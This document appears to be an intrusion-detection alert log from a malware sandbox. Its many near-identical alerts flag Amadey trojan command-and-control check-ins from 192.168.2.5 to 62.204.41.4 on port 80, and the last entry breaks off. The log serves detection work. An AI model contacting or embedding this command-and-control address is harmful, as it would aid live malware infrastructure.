ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450110802027700 02/06/23-14:18:41.820358
SID:	2027700
Source Port:	50110
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450021802027700 02/06/23-14:18:18.134393
SID:	2027700
Source Port:	50021
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450177802027700 02/06/23-14:18:59.607121
SID:	2027700
Source Port:	50177
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450269802027700 02/06/23-14:19:23.777741
SID:	2027700
Source Port:	50269
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449993802027700 02/06/23-14:18:09.446812
SID:	2027700
Source Port:	49993
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450009802027700 02/06/23-14:18:15.225597
SID:	2027700
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449812802027700 02/06/23-14:17:20.620292
SID:	2027700
Source Port:	49812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449879802027700 02/06/23-14:17:39.657688
SID:	2027700
Source Port:	49879
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449720802027700 02/06/23-14:16:38.844826
SID:	2027700
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449723802027700 02/06/23-14:16:39.562180
SID:	2027700
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449968802027700 02/06/23-14:18:03.426821
SID:	2027700
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449901802027700 02/06/23-14:17:45.128471
SID:	2027700
Source Port:	49901
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450238802027700 02/06/23-14:19:16.271312
SID:	2027700
Source Port:	50238
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450149802027700 02/06/23-14:18:52.948054
SID:	2027700
Source Port:	50149
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449708802027700 02/06/23-14:16:33.047919
SID:	2027700
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450250802027700 02/06/23-14:19:19.184250
SID:	2027700
Source Port:	50250
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450253802027700 02/06/23-14:19:19.903146
SID:	2027700
Source Port:	50253
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450161802027700 02/06/23-14:18:55.790925
SID:	2027700
Source Port:	50161
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449891802027700 02/06/23-14:17:42.583953
SID:	2027700
Source Port:	49891
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450034802027700 02/06/23-14:18:21.257214
SID:	2027700
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450075802027700 02/06/23-14:18:33.288721
SID:	2027700
Source Port:	50075
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450164802027700 02/06/23-14:18:56.510220
SID:	2027700
Source Port:	50164
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449914802027700 02/06/23-14:17:48.241764
SID:	2027700
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449980802027700 02/06/23-14:18:06.304828
SID:	2027700
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449761802027700 02/06/23-14:17:01.580132
SID:	2027700
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449850802027700 02/06/23-14:17:30.084700
SID:	2027700
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450225802027700 02/06/23-14:19:13.073061
SID:	2027700
Source Port:	50225
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449736802027700 02/06/23-14:16:52.079670
SID:	2027700
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449866802027700 02/06/23-14:17:36.501145
SID:	2027700
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449825802027700 02/06/23-14:17:23.920192
SID:	2027700
Source Port:	49825
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449996802027700 02/06/23-14:18:10.162120
SID:	2027700
Source Port:	49996
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450006802027700 02/06/23-14:18:14.489864
SID:	2027700
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449955802027700 02/06/23-14:18:00.317509
SID:	2027700
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450136802027700 02/06/23-14:18:48.120124
SID:	2027700
Source Port:	50136
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449777802027700 02/06/23-14:17:05.460296
SID:	2027700
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450266802027700 02/06/23-14:19:23.059192
SID:	2027700
Source Port:	50266
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450059802027700 02/06/23-14:18:27.376298
SID:	2027700
Source Port:	50059
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450157802027700 02/06/23-14:18:54.822506
SID:	2027700
Source Port:	50157
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450062802027700 02/06/23-14:18:28.208950
SID:	2027700
Source Port:	50062
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449829802027700 02/06/23-14:17:24.880677
SID:	2027700
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449927802027700 02/06/23-14:17:51.554248
SID:	2027700
Source Port:	49927
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449832802027700 02/06/23-14:17:25.693521
SID:	2027700
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450160802027700 02/06/23-14:18:55.547495
SID:	2027700
Source Port:	50160
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449734802027700 02/06/23-14:16:51.611739
SID:	2027700
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450001802027700 02/06/23-14:18:11.711181
SID:	2027700
Source Port:	50001
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450255802027700 02/06/23-14:19:20.388213
SID:	2027700
Source Port:	50255
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449930802027700 02/06/23-14:17:53.103784
SID:	2027700
Source Port:	49930
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449988802027700 02/06/23-14:18:08.271366
SID:	2027700
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449762802027700 02/06/23-14:17:01.814767
SID:	2027700
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450090802027700 02/06/23-14:18:36.931058
SID:	2027700
Source Port:	50090
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449860802027700 02/06/23-14:17:33.773507
SID:	2027700
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449767802027700 02/06/23-14:17:03.053144
SID:	2027700
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450095802027700 02/06/23-14:18:38.133971
SID:	2027700
Source Port:	50095
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450193802027700 02/06/23-14:19:03.417591
SID:	2027700
Source Port:	50193
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449963802027700 02/06/23-14:18:02.243572
SID:	2027700
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449804802027700 02/06/23-14:17:18.644415
SID:	2027700
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450132802027700 02/06/23-14:18:47.164865
SID:	2027700
Source Port:	50132
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449770802027700 02/06/23-14:17:03.784821
SID:	2027700
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449983802027700 02/06/23-14:18:07.033596
SID:	2027700
Source Port:	49983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449692802027700 02/06/23-14:16:29.077816
SID:	2027700
Source Port:	49692
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450227802027700 02/06/23-14:19:13.545015
SID:	2027700
Source Port:	50227
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450222802027700 02/06/23-14:19:12.337102
SID:	2027700
Source Port:	50222
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449739802027700 02/06/23-14:16:52.782774
SID:	2027700
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450185802027700 02/06/23-14:19:01.492596
SID:	2027700
Source Port:	50185
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449898802027700 02/06/23-14:17:44.411727
SID:	2027700
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450104802027700 02/06/23-14:18:40.328930
SID:	2027700
Source Port:	50104
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449857802027700 02/06/23-14:17:31.816085
SID:	2027700
Source Port:	49857
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449893802027700 02/06/23-14:17:43.066540
SID:	2027700
Source Port:	49893
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449935802027700 02/06/23-14:17:55.397933
SID:	2027700
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449697802027700 02/06/23-14:16:30.331432
SID:	2027700
Source Port:	49697
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450026802027700 02/06/23-14:18:19.334487
SID:	2027700
Source Port:	50026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450067802027700 02/06/23-14:18:29.442348
SID:	2027700
Source Port:	50067
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450263802027700 02/06/23-14:19:22.314339
SID:	2027700
Source Port:	50263
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449754802027700 02/06/23-14:16:59.800602
SID:	2027700
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449852802027700 02/06/23-14:17:30.586454
SID:	2027700
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450082802027700 02/06/23-14:18:34.947434
SID:	2027700
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449840802027700 02/06/23-14:17:27.625203
SID:	2027700
Source Port:	49840
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450079802027700 02/06/23-14:18:34.225155
SID:	2027700
Source Port:	50079
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450202802027700 02/06/23-14:19:05.591074
SID:	2027700
Source Port:	50202
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450018802027700 02/06/23-14:18:17.421896
SID:	2027700
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450198802027700 02/06/23-14:19:04.619860
SID:	2027700
Source Port:	50198
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450116802027700 02/06/23-14:18:43.292412
SID:	2027700
Source Port:	50116
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449907802027700 02/06/23-14:17:46.566675
SID:	2027700
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449787802027700 02/06/23-14:17:07.919083
SID:	2027700
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449910802027700 02/06/23-14:17:47.301539
SID:	2027700
Source Port:	49910
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449782802027700 02/06/23-14:17:06.679140
SID:	2027700
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449824802027700 02/06/23-14:17:23.678413
SID:	2027700
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450152802027700 02/06/23-14:18:53.649179
SID:	2027700
Source Port:	50152
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449809802027700 02/06/23-14:17:19.879293
SID:	2027700
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450235802027700 02/06/23-14:19:15.519092
SID:	2027700
Source Port:	50235
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449726802027700 02/06/23-14:16:43.296877
SID:	2027700
Source Port:	49726
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450054802027700 02/06/23-14:18:26.116806
SID:	2027700
Source Port:	50054
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450137802027700 02/06/23-14:18:48.518586
SID:	2027700
Source Port:	50137
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449902802027700 02/06/23-14:17:45.366776
SID:	2027700
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450230802027700 02/06/23-14:19:14.260159
SID:	2027700
Source Port:	50230
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449865802027700 02/06/23-14:17:36.266770
SID:	2027700
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449718802027700 02/06/23-14:16:38.360119
SID:	2027700
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449943802027700 02/06/23-14:17:57.392402
SID:	2027700
Source Port:	49943
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450271802027700 02/06/23-14:19:24.244810
SID:	2027700
Source Port:	50271
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449790802027700 02/06/23-14:17:11.646769
SID:	2027700
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450087802027700 02/06/23-14:18:36.155229
SID:	2027700
Source Port:	50087
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450129802027700 02/06/23-14:18:46.436570
SID:	2027700
Source Port:	50129
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450046802027700 02/06/23-14:18:24.134243
SID:	2027700
Source Port:	50046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449873802027700 02/06/23-14:17:38.196581
SID:	2027700
Source Port:	49873
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449759802027700 02/06/23-14:17:01.035713
SID:	2027700
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449795802027700 02/06/23-14:17:14.968804
